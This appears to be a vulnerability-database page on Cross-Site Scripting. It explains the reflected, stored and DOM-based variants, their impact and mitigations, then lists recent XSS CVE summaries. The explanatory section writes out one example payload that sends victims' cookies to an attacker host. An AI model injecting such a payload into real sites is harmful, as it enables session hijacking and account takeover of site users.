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Cross-Site Scripting

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Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39066)

EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WC Lovers WCFM Marketplace wc-multivendor-marketplace allows Reflected XSS.6.11. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dylan Kuhn Geo Mashup geo-mashup allows Stored XSS.13.12. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in sonalsinha21 SKT Templates - Elementor & Gutenberg templates skt-templates allows Reflected. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in MagePeople Team Bus Ticket Booking with Seat Reservation allows Stored XSS.3.5. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Bus Ticket Booking With Seat Reservation
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in POSIMYTH The Plus Addons for Elementor Page Builder Lite. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Elementor
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jeroen Peters Name Directory name-directory.29.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

Insufficient data validation in Omnibox in Google Chrome on Android prior to 129.0.6668.58 allowed a remote attacker who convinced a user to engage in specific UI gestures to inject arbitrary scripts. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Google Chrome
NVD
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic was found in SourceCodester Resort Reservation System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Resort Reservation System
NVD GitHub VulDB
EPSS 1% CVSS 6.4
MEDIUM PATCH This Month

Vite a frontend build tooling framework for javascript. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM PATCH This Month

Concrete CMS versions 9.0.0 through 9.3.3 are affected by a stored XSS vulnerability in the "Top Navigator Bar" block. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Concrete Cms
NVD GitHub
EPSS 0% CVSS 5.1
MEDIUM PATCH This Month

Wire UI is a library of components and resources to empower Laravel and Livewire application development. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

RCE XSS Wireui
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

This vulnerability occurs when user-supplied input is improperly sanitized and then reflected back to the user's browser, allowing an attacker to execute arbitrary JavaScript in the context of the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Proroute H685T W Firmware
NVD
EPSS 0% CVSS 5.1
MEDIUM This Month

Improper neutralization of input in Checkmk before versions 2.3.0p16 and 2.2.0p34 allows attackers to craft malicious links that can facilitate phishing attacks. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Checkmk
NVD
EPSS 0% CVSS 9.4
CRITICAL Act Now

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting'), Improper Encoding or Escaping of Output, CWE - 83 Improper Neutralization of Script in Attributes in a Web. Rated critical severity (CVSS 9.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Accordion Image Menu WordPress plugin through 3.1.3 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +1
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Review Ratings WordPress plugin through 1.6 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Special Feed Items WordPress plugin through 1.0.1 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM This Month

The Vikinghammer Tweet WordPress plugin through 0.2.4 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Logo Manager For Enamad WordPress plugin through 0.7.1 does not sanitise and escape in its widgets settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Logo Manager For Enamad
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM This Month

This issue was addressed through improved state management. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Apple XSS Safari +6
NVD VulDB
EPSS 0% CVSS 5.5
MEDIUM This Month

The issue was addressed with improved memory handling. Rated medium severity (CVSS 5.5), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

Apple XSS macOS
NVD VulDB
EPSS 0% CVSS 5.5
MEDIUM This Month

The issue was addressed with improved memory handling. Rated medium severity (CVSS 5.5), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

Apple XSS macOS
NVD VulDB
EPSS 0% CVSS 5.0
MEDIUM This Month

Snappymail is an open source web-based email client. Rated medium severity (CVSS 5.0), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Denial Of Service Dompurify
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

FluxCP is a web-based Control Panel for rAthena servers written in PHP. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Fluxcp
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

decidim is a Free Open-Source participatory democracy, citizen participation and open government for cities and organizations. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Decidim
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

decidim is a Free Open-Source participatory democracy, citizen participation and open government for cities and organizations. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Decidim
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM PATCH This Month

Concrete CMS versions 9.0.0 to 9.3.3 and below 8.5.19 are vulnerable to Stored XSS in the "Next&Previous Nav" block. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Concrete Cms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

In JetBrains IntelliJ IDEA before 2024.1 hTML injection via the project name was possible. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Intellij Idea
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

SmartRobot by INTUMIT contains a reflected cross-site scripting (XSS) vulnerability in an insufficiently validated page parameter that allows unauthenticated remote attackers to inject malicious JavaScript code. An attacker can craft a malicious URL and trick users into clicking it, enabling session hijacking, credential theft, or malware distribution. With a CVSS score of 6.1 and EPSS score of 0.18% (39th percentile), the vulnerability is of moderate severity with relatively low current exploitation probability, though the low attack complexity and lack of authentication requirements make it practically exploitable.

XSS Smartrobot
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ronald Huereca Custom Query Blocks post-type-archive-mapping allows DOM-Based XSS.3.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in CryoutCreations Parabola allows Stored XSS.4.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Parabola
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in CryoutCreations Nirvana allows Stored XSS.6.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Nirvana
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in CryoutCreations Mantra allows Stored XSS.3.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Mantra
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in CryoutCreations Fluida allows Stored XSS.8.8. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fluida
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Mohammad Arif Opor Ayam allows Reflected XSS.8. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Opor Ayam
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in manu225 Flipping Cards flipping-cards allows Stored XSS.30. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PickPlugins Product Slider for WooCommerce woocommerce-products-slider allows Reflected XSS.13.50. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD VulDB
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Spiffy Plugins Spiffy Calendar spiffy-calendar allows Reflected XSS.9.13. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Spiffy Plugins Spiffy Calendar spiffy-calendar allows Stored XSS.9.13. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in JoomUnited WP Meta SEO wp-meta-seo allows Stored XSS.5.13. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in JoomUnited WP Meta SEO wp-meta-seo allows Stored XSS.5.13. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Happyforms allows Stored XSS.26.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Happyforms
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Hiroaki Miyashita Custom Field Template allows Stored XSS.6.5. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Custom Field Template
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Jennifer Hall Filmix allows Reflected XSS.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Filmix
NVD
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in Perfex CRM 3.1.6. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Perfex Crm
NVD VulDB
EPSS 1% CVSS 6.9
MEDIUM POC This Month

A vulnerability was found in AutoCMS 5.4. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Autocms
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in aimhubio aim up to 3.24. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Aim
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The WP Booking System - Booking Calendar plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without appropriate escaping on the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wp Booking System
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The Waitlist Woocommerce ( Back in stock notifier ) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Waitlist Woocommerce
NVD
EPSS 0% CVSS 5.3
MEDIUM POC PATCH This Month

A vulnerability classified as problematic has been found in OpenTibiaBR MyAAC up to 0.8.16. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

PHP XSS Myaac
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

The Eaton Foreseer software provides users the capability to customize the dashboard in WebView pages. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Foreseer Electrical Power Monitoring System
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

phpgurukul Bus Pass Management System 1.0 is vulnerable to Cross-site scripting (XSS) in /admin/pass-bwdates-reports-details.php via fromdate and todate parameters. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Bus Pass Management System
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

The Email Obfuscate Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'email-obfuscate' shortcode in all versions up to, and including, 2.0 due to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Email Obfuscate Shortcode
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The PDF Thumbnail Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Pdf Thumbnail Generator
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Lucas String Replace plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Lucas String Replace
NVD
EPSS 3% CVSS 6.1
MEDIUM This Month

The Roles & Capabilities plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Roles Capabilities
NVD
EPSS 2% CVSS 6.1
MEDIUM This Month

The Cron Jobs plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 1.2.9. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Cron Jobs
NVD
EPSS 2% CVSS 6.1
MEDIUM This Month

The Exit Notifier plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Exit Notifier
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The WordPress Affiliates Plugin - SliceWP Affiliates plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of remove_query_arg without appropriate escaping on the URL in. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Affiliate Program Suite
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Beauty theme for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘tpl_featured_cat_id’ parameter in all versions up to, and including, 1.1.4 due to insufficient input sanitization. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Beauty
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Tweaker5 theme for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘url’ parameter within the theme's Button shortcode in all versions up to, and including, 1.2 due to insufficient. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Tweaker5
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Neighborly theme for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘url’ parameter within the theme's Button shortcode in all versions up to, and including, 1.4 due to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Neighborly
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Delicate theme for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link' parameter within the theme's Button shortcode in all versions up to, and including, 3.5.5 due to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Delicate
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Triton Lite theme for WordPress is vulnerable to Stored Cross-Site Scripting via the 'url' attribute within the theme's Button shortcode in all versions up to, and including, 1.3 due to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Triton Lite
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Essential Addons for Elementor - Best Elementor Addon, Templates, Widgets, Kits & WooCommerce Builders plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Essential Addons For Elementor
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The YITH Custom Login plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Yith Custom Login
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The WP Test Email plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wp Test Email
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The WP Simple Booking Calendar plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without appropriate escaping on the URL in all. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wp Simple Booking Calendar
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Betheme theme for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 27.5.5 due to insufficient input sanitization and output. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Betheme
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Floating Notification Bar, Sticky Menu on Scroll, Announcement Banner, and Sticky Header for Any WordPress plugin before 2.7.3 does not validate and escape some of its settings before outputting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS My Sticky Bar
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Carousel Slider WordPress plugin before 2.2.4 does not sanitise and escape some of its settings, which could allow high privilege users such as editors to perform Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Carousel Slider
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The NinjaTeam Header Footer Custom Code WordPress plugin before 1.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Header Footer Custom Code
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The NinjaTeam Header Footer Custom Code WordPress plugin before 1.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Header Footer Custom Code
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM This Month

The Avada | Website Builder For WordPress & eCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's fusion_button shortcode in all versions up to, and including,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Avada
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The WPFactory Helper plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wpfactory Helper
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Discourse Calendar plugin adds the ability to create a dynamic calendar in the first post of a topic to Discourse. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Calendar
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

ORDAT FOSS-Online before version 2.24.01 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the login page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ordat Erp
NVD
EPSS 1% CVSS 8.9
HIGH This Week

A remote code execution (RCE) vulnerability via crafted extension publisher-url/additional-urls could be abused by a malicious extension in Docker Desktop before 4.34.2. Rated high severity (CVSS 8.9), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

RCE XSS Docker +1
NVD
EPSS 1% CVSS 9.0
CRITICAL Act Now

A remote code execution (RCE) vulnerability via crafted extension description/changelog could be abused by a malicious extension in Docker Desktop before 4.34.2. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

RCE XSS Docker +1
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Pega Platform versions 8.1 to Infinity 24.1.2 are affected by an XSS issue with case type. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Infinity
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Pega Platform versions 8.1 to Infinity 24.1.2 are affected by an XSS issue with App name. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Infinity
NVD
EPSS 1% CVSS 9.2
CRITICAL Act Now

CVE-2024-45824 IMPACT A remote code vulnerability exists in the affected products. Rated critical severity (CVSS 9.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

RCE Path Traversal XSS +2
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

